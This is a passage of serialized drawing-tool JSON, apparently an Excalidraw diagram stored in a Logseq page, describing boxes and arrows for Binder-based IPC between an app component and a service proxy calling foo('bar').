q____"id\\logseq____":\\logseq____"VPAcyOSWnaKwnYB_r42MA\\logseq____"},{\\logseq____"id\\logseq____":\\logseq____"uv8kcWfvQGyXoLkYkmSb_\\logseq____",\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____"}],\\logseq____"updated\\logseq____":1729605917732,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":468,\\logseq____"versionNonce\\logseq____":107575332,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"VPAcyOSWnaKwnYB_r42MA\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":107.46623883928578,\\logseq____"y\\logseq____":417.07142857142867,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":153.83984375,\\logseq____"height\\logseq____":50,\\logseq____"seed\\logseq____":185713948,\\logseq____"groupIds\\logseq____":[\\logseq____"xaDrP-PsrHLrVREvS4TUP\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605917732,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"Component (e.g.,\\\\nActivity)\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"O4b2GfmjC7EV1dx0zEJ73\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"Component (e.g., Activity)\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":43},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":466,\\logseq____"versionNonce\\logseq____":1916344220,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"SANj9Ac62ljoQ8xvVKsIm\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":516.9564732142858,\\logseq____"y\\logseq____":415.82142857142867,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":208.84375,\\logseq____"height\\logseq____":60,\\logseq____"seed\\logseq____":702281756,\\logseq____"groupIds\\logseq____":[\\logseq____"xaDrP-PsrHLrVREvS4TUP\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":3},\\logseq____"boundElements\\logseq____":[{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"id\\logseq____":\\logseq____"8sNUYtd3zBlR9h7mcisQX\\logseq____"},{\\logseq____"id\\logseq____":\\logseq____"WizRRDPiUyp2NNFO85KUc\\logseq____",\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____"}],\\logseq____"updated\\logseq____":1729605935805,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":481,\\logseq____"versionNonce\\logseq____":1725041692,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"8sNUYtd3zBlR9h7mcisQX\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":543.5884312220983,\\logseq____"y\\logseq____":420.82142857142867,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":155.579833984375,\\logseq____"height\\logseq____":50,\\logseq____"seed\\logseq____":1599259036,\\logseq____"groupIds\\logseq____":[\\logseq____"xaDrP-PsrHLrVREvS4TUP\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605940136,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"B Service Proxy\\\\nint foo(String);\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"SANj9Ac62ljoQ8xvVKsIm\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"B Service Proxy\\\\nint foo(String);\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":43},{\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"version\\logseq____":1247,\\logseq____"versionNonce\\logseq____":2112603932,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"uv8kcWfvQGyXoLkYkmSb_\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":267.4097232142858,\\logseq____"y\\logseq____":442.57142857142867,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":249.547,\\logseq____"height\\logseq____":0.5,\\logseq____"seed\\logseq____":1245776412,\\logseq____"groupIds\\logseq____":[\\logseq____"xaDrP-PsrHLrVREvS4TUP\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"id\\logseq____":\\logseq____"9bj_041-OA_763eEUFq0A\\logseq____"}],\\logseq____"updated\\logseq____":1729605918103,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"startBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"O4b2GfmjC7EV1dx0zEJ73\\logseq____",\\logseq____"focus\\logseq____":0.014753535629874403,\\logseq____"gap\\logseq____":1},\\logseq____"endBinding\\logseq____":null,\\logseq____"lastCommittedPoint\\logseq____":null,\\logseq____"startArrowhead\\logseq____":null,\\logseq____"endArrowhead\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"points\\logseq____":[[0,0],[249.547,-0.5]]},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":478,\\logseq____"versionNonce\\logseq____":1799741860,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"9bj_041-OA_763eEUFq0A\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":323.97330805315295,\\logseq____"y\\logseq____":429.82142857142867,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":136.41983032226562,\\logseq____"height\\logseq____":25,\\logseq____"seed\\logseq____":1732711324,\\logseq____"groupIds\\logseq____":[\\logseq____"xaDrP-PsrHLrVREvS4TUP\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605917732,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"Call foo(logseq____'barlogseq____')\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"uv8kcWfvQGyXoLkYkmSb_\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"Call foo(logseq____'barlogseq____')\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":18},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":241,\\logseq____"versionNonce\\logseq____":917149340,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"MbLkUz3RQ6F5oXQLvthG1\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":446.04017857142867,\\logseq____"y\\logseq____":284.92857142857156,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":661.9029017857142,\\logseq____"height\\logseq____":157.1428571428571,\\logseq____"seed\\logseq____":2137636508,\\logseq____"groupIds\\logseq____":[\\logseq____"Hfmt6KRXHGv8MlRWyosnn\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":3},\\logseq____"boundElements\\logseq____":[{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"id\\logseq____":\\logseq____"TeTLf1T0eUSvvQO3hsAiw\\logseq____"}],\\logseq____"updated\\logseq____":1729605876855,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":313,\\logseq____"versionNonce\\logseq____":1340387620,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"TeTLf1T0eUSvvQO3hsAiw\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":749.5363377162389,\\logseq____"y\\logseq____":289.92857142857156,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":54.91058349609375,\\logseq____"height\\logseq____":24.553571428571423,\\logseq____"seed\\logseq____":1410074916,\\logseq____"groupIds\\logseq____":[\\logseq____"Hfmt6KRXHGv8MlRWyosnn\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":null,\\logseq____"updated\\logseq____":1729605876855,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":19.64285714285714,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"App A\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"top\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"MbLkUz3RQ6F5oXQLvthG1\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"App A\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":17},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":243,\\logseq____"versionNonce\\logseq____":227305628,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"ClPsuuGYXB1LKq20LBNDk\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":470.5937500000001,\\logseq____"y\\logseq____":319.30357142857156,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":162.09960937499997,\\logseq____"height\\logseq____":88.39285714285712,\\logseq____"seed\\logseq____":1232046876,\\logseq____"groupIds\\logseq____":[\\logseq____"Hfmt6KRXHGv8MlRWyosnn\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":3},\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605876855,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":318,\\logseq____"versionNonce\\logseq____":972745892,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"_avxsGt4jaJDbka6U8vct\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":476.16600036621105,\\logseq____"y\\logseq____":338.94642857142867,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":150.95510864257812,\\logseq____"height\\logseq____":49.10714285714285,\\logseq____"seed\\logseq____":1870087332,\\logseq____"groupIds\\logseq____":[\\logseq____"Hfmt6KRXHGv8MlRWyosnn\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":null,\\logseq____"updated\\logseq____":1729605876855,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":19.64285714285714,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"Component (e.g.,\\\\nActivity)\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"ClPsuuGYXB1LKq20LBNDk\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"Component (e.g., Activity)\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":42},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":244,\\logseq____"versionNonce\\logseq____":686989212,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"D1a325TVu06Lj-g4dEDgG\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":878.2751116071429,\\logseq____"y\\logseq____":337.7187500000001,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":205.11439732142853,\\logseq____"height\\logseq____":51.56249999999999,\\logseq____"seed\\logseq____":1510459292,\\logseq____"groupIds\\logseq____":[\\logseq____"Hfmt6KRXHGv8MlRWyosnn\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":3},\\logseq____"boundElements\\logseq____":[{\\logseq____"id\\logseq____":\\logseq____"WizRRDPiUyp2NNFO85KUc\\logseq____",\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____"},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"id\\logseq____":\\logseq____"_WmqLNmvMtWFSFyxIJ3mM\\logseq____"}],\\logseq____"updated\\logseq____":1729605876855,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":313,\\logseq____"versionNonce\\logseq____":213760036,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"_WmqLNmvMtWFSFyxIJ3mM\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":904.5010724748884,\\logseq____"y\\logseq____":351.22321428571445,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":152.6624755859375,\\logseq____"height\\logseq____":24.553571428571423,\\logseq____"seed\\logseq____":15667236,\\logseq____"groupIds\\logseq____":[\\logseq____"Hfmt6KRXHGv8MlRWyosnn\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":null,\\logseq____"updated\\logseq____":1729605876855,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":19.64285714285714,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"B Service Proxy\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"D1a325TVu06Lj-g4dEDgG\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"B Service Proxy\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":17},{\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"version\\logseq____":796,\\logseq____"versionNonce\\logseq____":1899252764,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"B1JTBW0V4hdO4MAAaYzfR\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":633.1845535714288,\\logseq____"y\\logseq____":363.99107142857156,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":245.09080357142852,\\logseq____"height\\logseq____":0.4910714285714285,\\logseq____"seed\\logseq____":358904860,\\logseq____"groupIds\\logseq____":[\\logseq____"Hfmt6KRXHGv8MlRWyosnn\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"id\\logseq____":\\logseq____"7ETxSIlRoVlqQXW4ouXZr\\logseq____"}],\\logseq____"updated\\logseq____":1729605876855,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"startBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"ClPsuuGYXB1LKq20LBNDk\\logseq____",\\logseq____"focus\\logseq____":0.014753535629874897,\\logseq____"gap\\logseq____":1},\\logseq____"endBinding\\logseq____":null,\\logseq____"lastCommittedPoint\\logseq____":null,\\logseq____"startArrowhead\\logseq____":null,\\logseq____"endArrowhead\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"points\\logseq____":[[0,0],[245.09080357142852,-0.4910714285714285]]},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":292,\\logseq____"versionNonce\\logseq____":605754276,\\logseq____"isDeleted\\logseq____":true,\\logseq____"id\\logseq____":\\logseq____"7ETxSIlRoVlqQXW4ouXZr\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":681.1161651960101,\\logseq____"y\\logseq____":349.82142857142867,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":133.86175537109375,\\logseq____"height\\logseq____":24.553571428571423,\\logseq____"seed\\logseq____":945908644,\\logseq____"groupIds\\logseq____":[\\logseq____"Hfmt6KRXHGv8MlRWyosnn\\logseq____"],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":null,\\logseq____"updated\\logseq____":1729605876855,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":19.64285714285714,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"Call foo(logseq____'barlogseq____')\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"B1JTBW0V4hdO4MAAaYzfR\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"Call foo(logseq____'barlogseq____')\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":17},{\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"version\\logseq____":7,\\logseq____"versionNonce\\logseq____":1117182116,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"Xa8EigFX_3qTS3ADG1DHv\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":685.0859375,\\logseq____"y\\logseq____":657.25,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":247.328125,\\logseq____"height\\logseq____":52.5,\\logseq____"seed\\logseq____":744395932,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"id\\logseq____":\\logseq____"BSEEQIQfa3YfjQjVW-PHE\\logseq____"}],\\logseq____"updated\\logseq____":1729605928333,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"version\\logseq____":4,\\logseq____"versionNonce\\logseq____":179720612,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"BSEEQIQfa3YfjQjVW-PHE\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":723.210090637207,\\logseq____"y\\logseq____":671,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":171.07981872558594,\\logseq____"height\\logseq____":25,\\logseq____"seed\\logseq____":1799368220,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605663874,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"text\\logseq____":\\logseq____"Binder-based IPC\\logseq____",\\logseq____"textAlign\\logseq____":\\logseq____"center\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"middle\\logseq____",\\logseq____"containerId\\logseq____":\\logseq____"Xa8EigFX_3qTS3ADG1DHv\\logseq____",\\logseq____"originalText\\logseq____":\\logseq____"Binder-based IPC\\logseq____",\\logseq____"lineHeight\\logseq____":1.25,\\logseq____"baseline\\logseq____":18},{\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"version\\logseq____":525,\\logseq____"versionNonce\\logseq____":1522981156,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"WizRRDPiUyp2NNFO85KUc\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":614.0920244570009,\\logseq____"y\\logseq____":469.32142857142867,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":84.1194130429991,\\logseq____"height\\logseq____":214.17857142857133,\\logseq____"seed\\logseq____":1092760348,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"boundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605925121,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"startBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"SANj9Ac62ljoQ8xvVKsIm\\logseq____",\\logseq____"focus\\logseq____":0.07630422073043633,\\logseq____"gap\\logseq____":1},\\logseq____"endBinding\\logseq____":null,\\logseq____"lastCommittedPoint\\logseq____":null,\\logseq____"startArrowhead\\logseq____":null,\\logseq____"endArrowhead\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"points\\logseq____":[[0,0],[5.280127328713547,195.60714285714278],[84.1194130429991,214.17857142857133]]},{\\logseq____"type\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"version\\logseq____":373,\\logseq____"versionNonce\\logseq____":633896476,\\logseq____"isDeleted\\logseq____":false,\\logseq____"id\\logseq____":\\logseq____"vXQSsMfv5tOyxKdt86Hqa\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"angle\\logseq____":0,\\logseq____"x\\logseq____":920.2894375,\\logseq____"y\\logseq____":684.5,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"width\\logseq____":115.21835295548442,\\logseq____"height\\logseq____":212.3214285714282,\\logseq____"seed\\logseq____":354774940,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":2},\\logseq____"b